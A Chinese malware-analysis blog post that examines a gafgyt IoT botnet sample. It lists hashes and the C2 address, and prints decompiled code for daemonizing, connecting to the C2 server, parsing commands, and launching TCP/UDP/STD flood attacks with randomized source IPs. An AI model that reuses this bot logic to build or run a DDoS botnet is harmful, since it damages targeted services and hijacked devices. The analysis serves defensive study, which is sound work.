Miara的延续--gafgyt病毒分析

百家 作者:Chamd5安全团队 2021-09-09 10:14:16

随着IoT变得越来越火热,许多针对IoT的病毒也越来越多。由于算力、执行环境等原因,IoT固件更新缓慢,容易被攻击者攻破后作为肉鸡发送DDos攻击。著名的僵尸网络家族mirai在2016年用数十万台IoT设备发送DDos攻击,gafgyt重用了mirai的部分代码。

相关信息

来源:https://bazaar.abuse.ch/browse sha256: 77352620b484f8666a96236a6fc1cbf04306d889dc19c588b1270821a2d6a45e(mips)94808a5bfe1ac718f1db0d397411586b2dbb87ff899cb0a57ac06ab780ee7f82(arm)
家族:gafgyt僵尸网络程序


## 分析过程

以arm架构下的病毒为主进行分析

```cpp
v3 = time(0);
  v4 = getpid();
  srandom(v3 ^ v4);
  v5 = time(0);
  v6 = getpid();
  init_rand(v5 ^ v6);
  getOurIP();                                   // 获取第一个网卡的mac地址
  v22 = fork();
  if ( v22 )
  {
    waitpid(v22, v21, 0);
    exit(0);
  }
  if ( fork() )
    exit(0);
  setsid();
  chdir("/");
  signal(SIGPIPE, SIGHUP);                      // SIG_IGN,忽略中断信号

先初始化随机数,然后获取第一个网卡的mac地址。后面设置信号,忽略中断信号,无法停止程序

while ( initConnection() )
      sleep(5);
    v7 = mainCommSock;
    v8 = (const char *)inet_ntoa(ourIP);
    v9 = getPortz();
    v10 = getArch();
    sockprintf(v7, "\x1B[1;95mDevice Connected: %s | Port: %s | Arch: %s\x1B[0m", v8, v9, v10);
    v24 = 0;
    i = 0;

初始化一个连接,连接的handler赋值到manCommSock上,连接地址为194.37.80.116:606

while ( 1 )
    {
      v24 = recvLine(mainCommSock, v19, 4096);
      if ( v24 == -1 )
        break;
      for ( i = 0; numpids > (unsigned __int64)i; ++i )
      {
        if ( waitpid(*(_DWORD *)(4 * i + pids), 01) > 0 )
        {
          for ( j = i + 1; numpids > (unsigned __int64)j; ++j )
            *(_DWORD *)(pids - 4 + 4 * j) = *(_DWORD *)(4 * j + pids);
          *(_DWORD *)(pids - 4 + 4 * j) = 0;
          v27 = malloc(4 * numpids--);
          for ( j = 0; numpids > (unsigned __int64)j; ++j )
            *(_DWORD *)(4 * j + v27) = *(_DWORD *)(4 * j + pids);
          free(pids);
          pids = v27;
        }
      }
      v19[v24] = 0;
      trim(v19);
      v26 = v19;
      if ( v19[0] == '!' )
      {
        for ( k = v26 + 1; *k != ' ' && *k; ++k )
          ;
        if ( *k )
        {
          *k = 0;
          k = v26 + 1;
          v11 = strlen(v26 + 1);
          for ( v26 += v11 + 2; ; v12[strlen(v26)] = 0 )
          {
            v13 = v26 - 1;
            if ( v13[strlen(v26)] != 10 )
            {
              v14 = v26 - 1;
              if ( v14[strlen(v26)] != 13 )
                break;
            }
            v12 = v26 - 1;
          }
          v30 = v26;
          while ( *v26 != 32 && *v26 )
            ++v26;
          *v26++ = 0;
          for ( l = v30; *l; ++l )
            *l = toupper((unsigned __int8)*l);
          v32 = 1;
          v33 = (_BYTE *)strtok(v26);
          v20[0] = (int)v30;
          while ( v33 )
          {
            if ( *v33 != 10 )
            {
              v15 = v32;
              v16 = strlen(v33);
              v35[v15 - 24] = malloc(v16 + 1);
              v17 = v35[v32 - 24];
              v18 = strlen(v33);
              memset(v17, 0, v18 + 1);
              strcpy(v35[v32++ - 24], v33);
            }
            v33 = (_BYTE *)strtok(0);
          }
          processCmd(v32, v20);
          if ( v32 > 1 )
          {
            for ( m = 1; m < v32; ++m )
              free(v35[m - 24]);
          }
        }
      }

接收来自服务器的命令,分割命令并将所有字母转换为大写。命令格式为

!cmd args

最后在processCmd中执行命令请求,执行之后释放保存命令的临时空间

接下来分析processCmd,其中主要是对各种命令的处理,执行的动作

result = strcoll(*a2, "TCP");
  if ( !result )
  {
    if ( a1 <= 5 )
      return result;
    v13 = a2[1];
    v14 = atol(a2[2]);
    v15 = atol(a2[3]);
    v16 = atol(a2[4]);
    v17 = a2[5];
    if ( a1 == 8 )
      v4 = atol(a2[7]);
    else
      v4 = 10;
    if ( a1 <= 6 )
      v5 = 0;
    else
      v5 = atol(a2[6]);
    if ( !strchr(v13, 44) )
    {
      result = listFork(); // 创建子进程,如果是子进程就返回0,否则记录子进程的pid
      if ( !result )
      {
        ftcp(v13, v14, v15, v16, v17, v5, v4);
        exit(0);
      }
      return result;
    }
    for ( i = strtok(v13); i; i = strtok(0) )
    {
      if ( !listFork() )
      {
        ftcp(i, v14, v15, v16, v17, v5, v4);
        exit(0);
      }
    }
  }

对TCP命令的处理,先创建子进程用于执行ftcp函数。如果args[0]有逗号,则对每一个逗号分割出的命令段都要执行ftcp

通过对ftcp的分析,可知第一个参数是目标地址,第五个参数是二级命令,所以一条命令可以同时对多个主机发送多种数据包,包括TCP SYN,RST,FIN,ACK,PSH,且源IP地址是随机生成的,以达到Dos攻击目的

UDP命令和TCP命令相似,只是针对的协议不同

而下面的各个命令都执行了特定的攻击方式,如UDP STD FLOOD,针对游戏服务器的VSE攻击,针对NFO服务器的NFODROP命令。

最后还有一个STOP命令用于停止程序自身,并向之前fork的进程都发送kill信号以尽量确保进程退出。

result = strcoll(*a2, "STOP");
    if ( !result )
    {
      v60 = 0;
      for ( ll = 0; numpids > (unsigned __int64)ll; ++ll )
      {
        if ( *(_DWORD *)(4 * ll + pids) )
        {
          v3 = *(_DWORD *)(4 * ll + pids);
          result = getpid();
          if ( v3 != result )
          {
            result = kill(*(_DWORD *)(4 * ll + pids), 9);
            ++v60;
          }
        }
      }
    }
    return result;

最后默认情况下会发动STD攻击

  if ( a1 <= 5 )
    return result;
  result = atol(a2[3]);
  if ( result == -1 )
    return result;
  result = atol(a2[2]);
  if ( result == -1 )
    return result;
  result = atol(a2[4]);
  if ( result == -1 )
    return result;
  result = atol(a2[4]);
  if ( result > 32 )
    return result;
  if ( a1 > 6 )
  {
    result = atol(a2[6]);
    if ( result < 0 )
      return result;
  }
  if ( a1 == 8 )
  {
    result = atol(a2[7]);
    if ( result <= 0 )
      return result;
  }
  v55 = a2[1];
  v56 = atol(a2[2]);
  v57 = atol(a2[3]);
  atol(a2[4]);
  if ( a1 == 8 )
    atol(a2[7]);
  if ( a1 <= 6 )
    v10 = 0;
  else
    v10 = atol(a2[6]);
  if ( strchr(v55, ',') )
  {
    for ( mm = strtok(v58, (int)","); mm; mm = strtok(0, (int)",") )
    {
      if ( !listFork() )
        astd(mm, v56, v57, v10);
    }
    goto LABEL_182;
  }
  result = listFork();
  if ( !result )
    astd(v55, v56, v57, v10);

总结

本次分析的病毒还包含符号表,应该是大神制作的用于学习的。发现由于目标设备的算力和硬件架构、操作系统简单等问题,针对物联网的病毒都没有太多的混淆方法,功能相对来说比较简单。但是麻雀虽小五脏俱全,病毒中包含了几乎所有DDos攻击方法的命令,不仅有通用的,还有针对特定服务器的。

由于物联网设备使用的Linux内核并非最新,且厂商更新速度较慢,导致物联网设备易被入侵,沦为肉鸡。虽然单个物联网设备算力不足,但是物联网设备数量众多,是一种发起DDos攻击的好方式。所以一定要注意物联网安全。

本次分析学到了很多东西,包括物联网病毒的攻击方式,病毒并行攻击的原理,病毒与服务器交互的方式;另外还学到了多种之前没见过的DDos攻击方法。

参考资料

  1. Mirai code re-use in Gafgyt--uptycs blog
  2. iot-malware--github
  3. Gafgyt Botnet Lifts DDoS Tricks from Mirai--threatpost
  4. 僵尸网络GAFGYT家族分析--安天
  5. Gafgyt家族物联网僵尸网络家族分析--freebuf
  6. RANDWARE THE DNA OF MIRAI MODERN IOT ATTACK BOTNETS--CISCO

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接